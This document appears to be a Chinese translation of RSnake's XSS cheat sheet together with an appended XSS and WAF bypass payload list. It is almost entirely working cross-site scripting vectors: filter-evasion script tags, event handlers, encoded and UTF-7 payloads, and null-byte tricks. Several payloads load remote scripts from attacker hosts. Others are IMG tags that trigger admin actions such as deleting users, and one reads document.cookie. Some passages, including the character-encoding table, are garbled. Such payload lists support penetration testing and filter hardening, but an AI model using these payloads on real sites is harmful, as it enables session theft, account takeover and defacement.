只能工作在IE5.0 以及更高版或是使用了ie渲染引擎的Netscape 8.1 。 一些网站认为任何包裹在注释中的内容都是安全的，因此它们并不会被移除。这将使我们的xss向量可使用。或者系统可能对某些内容添加注释去试图无害的渲染它。如我们所见，这有时并不起作用。
|
||||
|
||||
<!--[if gte IE 4]>
|
||||
<SCRIPT>alert('XSS');</SCRIPT>
|
||||
<![endif]-->
|
||||
|
||||
-----
|
||||
##BASE标签##
|
||||
工作在ie或是使用了安全模块的Netscape 8.1，你需要使用 "//"去避免javascript错误。它需要当前网站使用相对路径（例如images/image.jpg）而非绝对路径。如果路径开始用一个斜杠（例如"/images/image.jpg"），你需要去掉xss向量中的一个斜杠（只有在两个斜杠的情况下才会起到注释作用）
|
||||
|
||||
<BASE HREF="javascript:alert('XSS');//">
|
||||
|
||||
-----
|
||||
##OBJECT标签##
|
||||
如果允许object标签，那么你也可以注入病毒payloads去感染用户。类似于APPLET标签。下面这个链接文件是一个包含xss代码的html文件。
|
||||
|
||||
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
|
||||
|
||||
-----
|
||||
##使用一个你可以载入包含有xss代码的flash文件的 EMBED 标签##
|
||||
点击这个demo，如果你加入属性allowScriptAccess="never" and allownetworking="internal"，则可以缓解这个风险（谢谢Jonathan Vanasco 提供的这个信息）
|
||||
|
||||
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
|
||||
|
||||
-----
|
||||
##在flash中使用ActionScript可以混淆你的xss向量##
|
||||
|
||||
a="get";
|
||||
b="URL(\"";
|
||||
c="javascript:";
|
||||
d="alert('XSS');\")";
|
||||
eval(a+b+c+d);
|
||||
|
||||
-----
|
||||
## CDATA混淆的 XML数据岛##
|
||||
这个xss向量仅可以在IE 和使用了ie渲染引擎的 Netscape 8.1 下工作。它是 Sec Consult在审计雅虎网站时发现。
|
||||
|
||||
<XML SRC="xsstest.xml" ID=I></XML>
|
||||
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
||||
|
||||
----
|
||||
##使用XML数据岛生成含有javascript代码的当前域xml文件##
|
||||
它是相同的同上面仅仅代替XML文件为当前域文件。你可以看到结果在下面。
|
||||
|
||||
<XML SRC="xsstest.xml" ID=I></XML>
|
||||
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
||||
|
||||
----
|
||||
##HTML+TIME 在XML中##
|
||||
它展示了 Grey Magic 曾将是怎样攻击 Hotmail 和 Yahoo!的。它是仅仅可以工作在ie和使用了ie渲染引擎的Netscape 8.1。并且这段代码需要放在html与body标签之间。
|
||||
|
||||
<HTML><BODY>
|
||||
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
|
||||
<?import namespace="t" implementation="#default#time2">
|
||||
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
|
||||
</BODY></HTML>
|
||||
|
||||
-----
|
||||
##简单的修改字符去绕过过滤器对 ".js"的过滤##
|
||||
在xss向量你可以重命名你的javascript文件为一个图片
|
||||
|
||||
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
|
||||
|
||||
----
|
||||
##SSI (服务器端包含)##
|
||||
这需要SSI被安装在服务器端去使用这个xss向量。但可能我并不需要提及这点，因为如果你可以运行命令在服务器端，那么毫无疑问会有更加严重的问题存在。
|
||||
|
||||
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
|
||||
|
||||
-----
|
||||
##PHP##
|
||||
需要php被安装在服务器端去使用这个xss向量。同样的，如果你可以运行任何远程脚本，那么将会有更加严重的问题。
|
||||
|
||||
<? echo('<SCR)';
|
||||
echo('IPT>alert("XSS")</SCRIPT>'); ?>
|
||||
|
||||
----
|
||||
##嵌入命令的IMG##
|
||||
它是用于那些需要用户认证后才可以访问的页面，并且在访问这些页面的过程中会执行某些命令。因此它将可以创建或删除用户（如果访问者是管理员），或是寄送某些凭证等等，虽然它是较少被使用但是是非常有用的。
|
||||
|
||||
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
|
||||
|
||||
-----
|
||||
##嵌入命令的IMG II##
|
||||
这是更加的可怕，因为并没有特别的标识符去鉴别它是否可疑。除非不允许引入第三方域的图片。这个向量是使用一个 302 or 304（或其他可行方案）去重定向一个图片地址为带有某些命令的地址。因此一个正常的图片标签代码<IMG SRC="a.jpg">可以是带有命令的xss向量。但是用户看到的仅仅是正常的图片链接地址。下面是一个.htaccess（apche下）配置文件去完成这个向量。（感谢Timo为这部分。）
|
||||
|
||||
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
|
||||
|
||||
----
|
||||
##Cookie篡改##
|
||||
这是公认的不着边际，但是我已经发下一个例子是用 <META 去覆盖cookie。另一个例子是有些网站使用cookie中的某些数据去呈现在当前访问者的网页中为仅仅他自己而不是从远程数据库中获取。当这两个清静联系在一起的时候，你可以通过修改cookie让javascript输入到用户页面中。（你可以借此让用户退出，改变用户的状态，甚至让用户以你的身份登录）
|
||||
|
||||
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
|
||||
|
||||
-----
|
||||
##UTF-7编码##
|
||||
如果存在xss的页面没有包含页面charset header，或是对于任何被设为UTF-7 的浏览器，我们可以利用下面的代码。（感谢Roman Ivanov 的提供），点击这儿为这个例子。（如果页面设置是自动识别编码且content-types 没有被覆盖，在ie浏览器或使用了IE渲染引擎的 Netscape 8.1，则你不需要声明 charset ）在没有改变编码的情况下它是不能工作在任何现代浏览器，这也是为什么它被标记为完全不支持。Watchfire发现这个漏洞在Google的 自定义 404 脚本中.
|
||||
|
||||
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
|
||||
|
||||
-----
|
||||
##使用HTML 引用封装的xss##
|
||||
它是被测试在ie，具体因情况而异。这个向量是为了绕过那些可以输入 "<SCRIPT>" 但不允许输入 "<SCRIPT SRC..."，通过正则"/<script[^>]+src/i"进行过滤的xss过滤器。
|
||||
|
||||
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js">
|
||||
|
||||
为了执行xss代码在那些允许输入"<SCRIPT>" 但不允许 "<script src..."（通过正则拼配"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"来过滤） 这个是重要的，因为我已经看到这个正则在实际环境中被使用。
|
||||
|
||||
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
|
||||
另一个逃避相同正则 "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"过滤的xss代码
|
||||
|
||||
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
|
||||
再一个xss例子去绕过相同的过滤器，对于"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的正则过滤。我知道，我说过我将不会去痛痛快快的聊减灾技术。但是这是我所看到的唯一例子在允许用户输入<SCRIPT>但是不允许通过src加载远程脚本的过滤器。（当然，还有一些其他方法去处理它，如果它们允许<SCRIPT> ）
|
||||
|
||||
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
|
||||
最后一个绕过"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"正则匹配的例子，通过重音符。（无法工作在firfox）
|
||||
|
||||
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
|
||||
这个xss例子押注于那些并不去拼配一对引号，而是去发现任何引号后就立即结束一个参数字符串的正则过滤器。
|
||||
|
||||
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
|
||||
这xss仍然让我担心， as it would be nearly impossible to stop this without blocking all active content:
|
||||
|
||||
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
|
||||
##URL 字符串绕过##
|
||||
这里假设 "http://www.google.com/" 这种形式的url在语法上是不被过滤器允许的。
|
||||
|
||||
**IP代替域名**
|
||||
|
||||
<A HREF="http://66.102.7.147/">XSS</A>
|
||||
|
||||
**URL 编码**
|
||||
|
||||
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
|
||||
|
||||
**双字节编码**
|
||||
（注意：有其他的双字节编码变种。请参考下面混淆后的ip地址为更多信息）
|
||||
|
||||
<A HREF="http://1113982867/">XSS</A>
|
||||
|
||||
**十六进制编码**
|
||||
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit,因为十六进制数字在0-f之间，因此第三位开头的0可以被省略掉。
|
||||
|
||||
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
|
||||
|
||||
**八进制编码**
|
||||
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
|
||||
|
||||
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
|
||||
|
||||
**混合编码**
|
||||
让我们混合基本各种编码并且插入一个tab和换行符。为什么浏览器允许这样，我是不知道。但是它是可以工作当它们被包含在引号之间。
|
||||
|
||||
<A HREF="h
|
||||
tt p://6 6.000146.0x7.147/">XSS</A>
|
||||
|
||||
**协议绕过**
|
||||
“//”代替“http:// ” 可以节省更多字符。这是非常有用的当输入空间是有限的时候。节省两个字符可能解决大问题。也是容易绕过像"(ht|f)tp(s)?://" 这样的正则过滤。（感谢 Ozh 提出这部分）。你也可以改变"//" 为 "\\"。你需要保证斜杠在适当的地方。否则可能会被当作一个相对路径的url。
|
||||
|
||||
<A HREF="//www.google.com/">XSS</A>
|
||||
|
||||
**Google "feeling lucky" I**
|
||||
Firefox 使用 Google的"feeling lucky" 函数去重定向用户输入的任何关键字。因此你可以在可利用页面使用各种关键字针对任何Firefox用户进行攻击。它是使用了"keyword:" 协议。你可以使用多个关键字像这样：XSS+RSnake。它是无法使用在 Firefox as of 2.0。
|
||||
|
||||
<A HREF="//google">XSS</A>
|
||||
|
||||
**Google "feeling lucky" II**
|
||||
这是使用一个小技巧让他工作在Firefox，因为只有Firefox实现了 "feeling lucky" 函数。不像下一个例子，这是无法工作在 Opera ，由于 Opera认为它是一种老的钓鱼攻击。其实它只是一个简单的畸形url。如果你点击弹出框的确定按钮它将工作。但是由于这是一个错误对话框，其实我想说Opera是不支持这种形式的。另外它已经不再被支持在 Firefox 2.0。
|
||||
|
||||
<A HREF="http://ha.ckers.org@google">XSS</A>
|
||||
|
||||
**Google "feeling lucky" III**
|
||||
通过畸形url来工作在Firefox 和 Opera浏览器。因为只有它们实现了 "feeling lucky" 函数。像上面的例子一样，它们需要你的网站在谷歌搜索对应关键字时排名第一。（例如google）
|
||||
|
||||
<A HREF="http://google:ha.ckers.org">XSS</A>
|
||||
|
||||
**移除别名**
|
||||
结合上面的url。移除 "www." 将节省四个字符。
|
||||
|
||||
<A HREF="http://google.com/">XSS</A>
|
||||
|
||||
**绝对 DNS用额外的点**
|
||||
|
||||
<A HREF="http://www.google.com./">XSS</A>
|
||||
|
||||
**JavaScript link location**
|
||||
|
||||
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
|
||||
|
||||
**针对内容替换的攻击向量**
|
||||
这里假设 "http://www.google.com/" 这种链接会被替换为空。我确实有一个去针对特殊文字过滤的简单的攻击向量。这是一个例子去帮助创建向量。（IE: "java	script:" 被替换为"java script:", 它是仍可以工作在 IE和使用安全模块的 Netscape 8.1+ 和 Opera）
|
||||
|
||||
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
|
||||
|
||||
-----
|
||||
##字符编码表##
|
||||
最后附上 "<" 在html或是javascript中所有可能的编码形式。它们绝大多数是无法正常被渲染的，但是可以在上文中某些情景下得到渲染。
|
||||
|
||||
<
|
||||
%3C
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
\x3c
|
||||
\x3C
|
||||
\u003c
|
||||
\u003C
|
||||
|
||||
-----
|
||||
##字符编码和ip混淆器##
|
||||
下面网站中包含了对xss有用的各种基本转换器。
|
||||
http://ha.ckers.org/xsscalc.html
|
||||
|
||||
----
|
||||
##作者和主编##
|
||||
Robert "RSnake" Hansen
|
||||
|
||||
----
|
||||
|
|
@ -1,380 +0,0 @@
|
|||
XSS-bypass-cn
|
||||
Script 标签
|
||||
绕过进行一次移除操作：
|
||||
<scr<script>ipt>alert("XSS")</scr<script>ipt>
|
||||
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本：
|
||||
<script>alert("XSS")</script>
|
||||
<script src="http://attacker.org/malicious.js"></script>
|
||||
|
||||
JavaScript 事件
|
||||
我们可以像如下这样在元素中定义 JavaScript 事件：
|
||||
<div onclick="alert('xss')">
|
||||
这个 JavaScript 代码当有人点击它后就会被执行，同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了，但是依旧还有少量事件没有被过滤，例如，onmouseenter 事件：<div onmouseenter="alert('xss')"> 当用户鼠标移动到 div 上时就会触发我们的代码。
|
||||
另一个绕过的办法就是在属性和= 之间插入一个空格：
|
||||
<div onclick ="alert('xss')">
|
||||
|
||||
行内样式(Inline style)
|
||||
我们同样可以在行内样式里利用 IE 浏览器支持的动态特性：
|
||||
<div style="color: expression(alert('XSS'))">
|
||||
过滤器会检查关键字 style，随后跟随的不能是 <，在随后是 expression：
|
||||
/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis
|
||||
所以，让我们需要把 < 放到其他地方：
|
||||
<div style="color: '<'; color: expression(alert('XSS'))">
|
||||
|
||||
CSS import
|
||||
IE 浏览器支持在 CSS 中扩展 JavaScript，这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的，因为攻击者现在可以在原始页面中执行 JavaScript 代码了。
|
||||
<style>
|
||||
@import url("http://attacker.org/malicious.css");
|
||||
</style>
|
||||
malicious.css：
|
||||
body {
|
||||
color: expression(alert('XSS'));
|
||||
}
|
||||
为了绕过对 @import 的过滤，可以在 CSS 中使用反斜杠进行绕过：
|
||||
<style>
|
||||
@imp\ort url("http://attacker.org/malicious.css");
|
||||
</style>
|
||||
IE 浏览器会接受反斜杠，但是我们绕过了过滤器。
|
||||
|
||||
Javascript URL
|
||||
链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript：
|
||||
<a href="javascript:alert('test')">link</a>
|
||||
上面的过滤会从代码中移除 javascript:，所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法，使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码：
|
||||
<a href="javascript:alert('xss')">link</a>
|
||||
上面这段代码不匹配正则表达式，但是浏览器依旧会执行它，因为浏览器会首先进行 URL 解码操作。
|
||||
另外，我们还可以使用 VBScript，虽然它在 IE11 中被禁用了，但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码：
|
||||
<a href='vbscript:MsgBox("XSS")'>link</a>
|
||||
|
||||
'-confirm`1`-'
|
||||
'-confirm(1)-'
|
||||
1 利用字符编码
|
||||
%c1;alert(/xss/);//
|
||||
2 绕过长度限制
|
||||
"onclick=alert(1)//
|
||||
"><!--
|
||||
--><script>alert(xss);<script>
|
||||
3 使用<base>标签
|
||||
<script>alert(navigator.userAgent)<script>
|
||||
<script>alert(88199)</script>
|
||||
<script>confirm(88199)</script>
|
||||
<script>prompt(88199)</script>
|
||||
<script>\u0061\u006C\u0065\u0072\u0074(88199)</script>
|
||||
<script>+alert(88199)</script>
|
||||
<script>alert(/88199/)</script>
|
||||
<script src=data:text/javascript,alert(88199)></script>
|
||||
<script src=data:text/javascript,alert(88199)></script>
|
||||
<script>alert(String.fromCharCode(49,49))</script>
|
||||
<script>alert(/88199/.source)</script>
|
||||
<script>setTimeout(alert(88199),0)</script>
|
||||
<script>document['write'](88199);</script>
|
||||
|
||||
<anytag onmouseover=alert(15)>M
|
||||
<anytag onclick=alert(16)>M
|
||||
<a onmouseover=alert(17)>M
|
||||
<a onclick=alert(18)>M
|
||||
<a href=javascript:alert(19)>M
|
||||
<button/onclick=alert(20)>M
|
||||
<form><button
|
||||
formaction=javascript:alert(21)>M
|
||||
<form/action=javascript:alert(22)><input/type=submit>
|
||||
<form onsubmit=alert(23)><button>M
|
||||
<form onsubmit=alert(23)><button>M
|
||||
<img src=x onerror=alert(24)> 29
|
||||
<body/onload=alert(25)>
|
||||
|
||||
<body
|
||||
onscroll=alert(26)><br><br><br><br><br><br><br>
|
||||
<br><br><br><br><br><br><br><br><br><br><br>
|
||||
<br><br><br><br><br><br><br><br><br><br><br>
|
||||
<br><br><br><br><br><br><br><br><br><br><br>
|
||||
<input autofocus>
|
||||
|
||||
<iframe src="http://0x.lv/xss.swf"></iframe>
|
||||
<iframe/onload=alert(document.domain)></iframe>
|
||||
<IFRAME SRC="javascript:alert(29);"></IFRAME>
|
||||
<meta http-equiv="refresh" content="0;
|
||||
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">
|
||||
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
|
||||
<object data="javascript:alert(document.domain)">
|
||||
|
||||
<marquee onstart=alert(30)></marquee>
|
||||
<isindex type=image src=1 onerror=alert(31)>
|
||||
<isindex action=javascript:alert(32) type=image>
|
||||
<input onfocus=alert(33) autofocus>
|
||||
<input onblur=alert(34) autofocus><input autofocus>
|
||||
|
||||
XSS现代WAF规则探测及绕过技术
|
||||
、使用无害的payload，类似<b>,<i>,<u>观察响应，判断应用程序是否被HTML编码，是否标签被过滤，是否过滤<>等等；
|
||||
2、如果过滤闭合标签，尝试无闭合标签的payload（<b,<i,<marquee）观察响应；
|
||||
3、尝试以下的payload
|
||||
<script>alert(1);</script>
|
||||
<script>prompt(1);</script>
|
||||
<script>confirm (1);</script>
|
||||
<script src="http://rhainfosec.com/evil.js">
|
||||
判断是否触发过滤规则，尝试使用大小写混合字符
|
||||
<scRiPt>alert(1);</scrIPt>
|
||||
1、如果大小写不行的话，<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>；
|
||||
2、使用<a>标签测试
|
||||
<a href=“http://www.google.com">Clickme</a>
|
||||
<a被过滤？
|
||||
href被过滤？
|
||||
其他内容被过滤？
|
||||
如果没有过滤尝试使用
|
||||
<a href=”javascript:alert(1)”>Clickme</a>
|
||||
尝试使用错误的事件查看过滤
|
||||
<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
|
||||
HTML5拥有150个事件处理函数，可以多尝试其他函数
|
||||
<body/onhashchange=alert(1)><a href=#>clickit
|
||||
测试其他标签
|
||||
src属性
|
||||
<img src=x onerror=prompt(1);>
|
||||
<img/src=aaa.jpg onerror=prompt(1);
|
||||
<video src=x onerror=prompt(1);>
|
||||
<audio src=x onerror=prompt(1);>
|
||||
iframe
|
||||
<iframesrc="javascript:alert(2)">
|
||||
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
|
||||
Embed
|
||||
<embed/src=//goo.gl/nlX0P>
|
||||
Action
|
||||
<form action="Javascript:alert(1)"><input type=submit>
|
||||
<isindex action="javascript:alert(1)" type=image>
|
||||
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
|
||||
<isindex action=data:text/html, type=image>
|
||||
mario验证
|
||||
<span class="pln"> </span><span class="tag"><formaction</span><span class="pun">=</span><span class="atv">&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;</span><span class="tag">><button></span><span class="pln">CLICK</span>
|
||||
“formaction”属性
|
||||
<isindexformaction="javascript:alert(1)" type=image>
|
||||
<input type="image" formaction=JaVaScript:alert(0)>
|
||||
<form><button formaction=javascript:alert(1)>CLICKME
|
||||
“background”属性
|
||||
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
|
||||
“posters” 属性
|
||||
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
|
||||
“data”属性
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
<object/data=//goo.gl/nlX0P?
|
||||
“code”属性
|
||||
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
|
||||
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
|
||||
事件处理
|
||||
<svg/onload=prompt(1);>
|
||||
<marquee/onstart=confirm(2)>/
|
||||
<body onload=prompt(1);>
|
||||
<select autofocus onfocus=alert(1)>
|
||||
<textarea autofocus onfocus=alert(1)>
|
||||
<keygen autofocus onfocus=alert(1)>
|
||||
<video><source onerror="javascript:alert(1)">
|
||||
短payload
|
||||
<q/oncut=open()>
|
||||
<q/oncut=alert(1)> // Useful in-case of payload restrictions.
|
||||
嵌套欺骗
|
||||
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
|
||||
<body language=vbsonload=alert-1 // Works with IE8
|
||||
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6 9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8
|
||||
圆括号被过滤
|
||||
<a onmouseover="javascript:window.onerror=alert;throw 1>
|
||||
<img src=x onerror="javascript:window.onerror=alert;throw 1">
|
||||
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
|
||||
Expression 属性
|
||||
<img style="xss:expression(alert(0))"> // Works upto IE7.
|
||||
<div style="color:rgb(''x:expression(alert(1))"></div> // Works upto IE7.
|
||||
<style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
|
||||
“location”属性
|
||||
<a onmouseover=location=’javascript:alert(1)>click
|
||||
<body onfocus="location='javascrpt:alert(1) >123
|
||||
其他Payload
|
||||
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
|
||||
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By @secalert
|
||||
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario
|
||||
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg> // By @secalert
|
||||
<meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
|
||||
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
|
||||
（）；：被过滤
|
||||
<svg><script>alert(/1/)</script> // Works With All Browsers
|
||||
( is html encoded to (
|
||||
) is html encoded to )
|
||||
Opera的变量
|
||||
<svg><script>alert( 1) // Works with Opera Only
|
||||
实体解码
|
||||
</script><script>alert(1)</script>
|
||||
<a href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>
|
||||
编码
|
||||
JavaScript是很灵活的语言，可以使用十六进制、Unicode、HTML等进行编码，以下属性可以被编码
|
||||
（支持HTML, Octal, Decimal,Hexadecimal, and Unicode）
|
||||
href=
|
||||
action=
|
||||
formaction=
|
||||
location=
|
||||
on*=
|
||||
name=
|
||||
background=
|
||||
poster=
|
||||
src=
|
||||
code=
|
||||
data= //只支持base64
|
||||
基于上下文的过滤
|
||||
WAF最大的问题是不能理解内容，使用黑名单可以阻挡独立的js脚本，但仍不能对xss提供足够的保护，如果一个反射型的XSS是下面这种形式
|
||||
输入反射属性
|
||||
<input value="XSStest" type=text>
|
||||
我们可以使用 “><imgsrc=x onerror=prompt(0);>触发，但是如果<>被过滤，我们仍然可以使用“ autofocusonfocus=alert(1)//触发，基本是使用“ 关闭value属性，再加入我们的执行脚本
|
||||
" onmouseover="prompt(0) x="
|
||||
" onfocusin=alert(1) autofocus x="
|
||||
" onfocusout=alert(1) autofocus x="
|
||||
" onblur=alert(1) autofocus a="
|
||||
输入反射在<script>标签内
|
||||
类似这种情况：
|
||||
<script>
|
||||
Var
|
||||
x=”Input”;
|
||||
</script>
|
||||
通常，我们使用“></script>,闭合前面的</script>标签，然而在这种情况，我们也可以直接输入执行脚本alert(), prompt()
|
||||
confirm() ，例如：
|
||||
“;alert(1)//
|
||||
非常规事件监听
|
||||
DOMfocusin,DOMfocusout,等事件，这些需要特定的事件监听适当的执行。例如：
|
||||
";document.body.addEventListener("DOMActivate",alert(1))//
|
||||
";document.body.addEventListener("DOMActivate",prompt(1))//
|
||||
";document.body.addEventListener("DOMActivate",confirm(1))//
|
||||
此类事件的列表
|
||||
DOMAttrModified
|
||||
DOMCharacterDataModified
|
||||
DOMFocusIn
|
||||
DOMFocusOut
|
||||
DOMMouseScroll
|
||||
DOMNodeInserted
|
||||
DOMNodeInsertedIntoDocument
|
||||
DOMNodeRemoved
|
||||
DOMNodeRemovedFromDocument
|
||||
DOMSubtreeModified
|
||||
超文本内容
|
||||
代码中的情况如下
|
||||
<a
|
||||
href=”Userinput”>Click</a>
|
||||
可以使用javascript:alert(1)//直接执行<a
|
||||
href=”javascript:alert(1)//”>Click</a>
|
||||
|
||||
变形
|
||||
主要包含大小写和
|
||||
JavaScript变形
|
||||
javascript:alert(1)
|
||||
javaSCRIPT:alert(1)
|
||||
JaVaScRipT:alert(1)
|
||||
javas	cript:\u0061lert(1);
|
||||
javascript:\u0061lert(1)
|
||||
avascript:alert(document.cookie) // AsharJaved
|
||||
IE10以下和URI中可以使用VBScript
|
||||
vbscript:alert(1);
|
||||
vbscript:alert(1);
|
||||
vbscr	ipt:alert(1)"
|
||||
Data URl
|
||||
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
|
||||
JSON内容
|
||||
反射输入
|
||||
encodeURIComponent('userinput')
|
||||
可以使用
|
||||
-alert(1)-
|
||||
-prompt(1)-
|
||||
-confirm(1)-
|
||||
结果
|
||||
encodeURIComponent(''-alert(1)-'')
|
||||
encodeURIComponent(''-prompt(1)-'')
|
||||
输入反射在svg标签内
|
||||
源码如下：
|
||||
<svg><script>varmyvar=”YourInput”;</script></svg>
|
||||
可以输入
|
||||
www.site.com/test.php?var=text”;alert(1)//
|
||||
如果系统编码了”字符
|
||||
<svg><script>varmyvar="text";alert(1)//";</script></svg>
|
||||
原因是引入了附加的（XML）到HTML内容里，可以使用2次编码处理
|
||||
浏览器BUG
|
||||
字符集BUG
|
||||
字符集BUG在IE中很普遍，最早的bug是UTF-7。如果能控制字符集编码，我们可以绕过99% 的WAF过滤。
|
||||
示例
|
||||
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
|
||||
可以控制编码，提交
|
||||
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img
|
||||
src=x onerror=prompt(0);>
|
||||
可以修改为UTF-32编码形式
|
||||
???script?alert(1)?/script?
|
||||
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
|
||||
空字节
|
||||
最长用来绕过mod_security防火墙，形式如下：
|
||||
<scri%00pt>alert(1);</scri%00pt>
|
||||
<scri\x00pt>alert(1);</scri%00pt>
|
||||
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
|
||||
空字节只适用于PHP 5.3.8以上的版本
|
||||
语法BUG
|
||||
RFC声明中节点名称不能是空格，以下的形式在javascript中不能运行
|
||||
<script>alert(1);</script>
|
||||
<%0ascript>alert(1);</script>
|
||||
<%0bscript>alert(1);</script>
|
||||
<%, <//, <!,<?可以被解析成<，所以可以使用以下的payload
|
||||
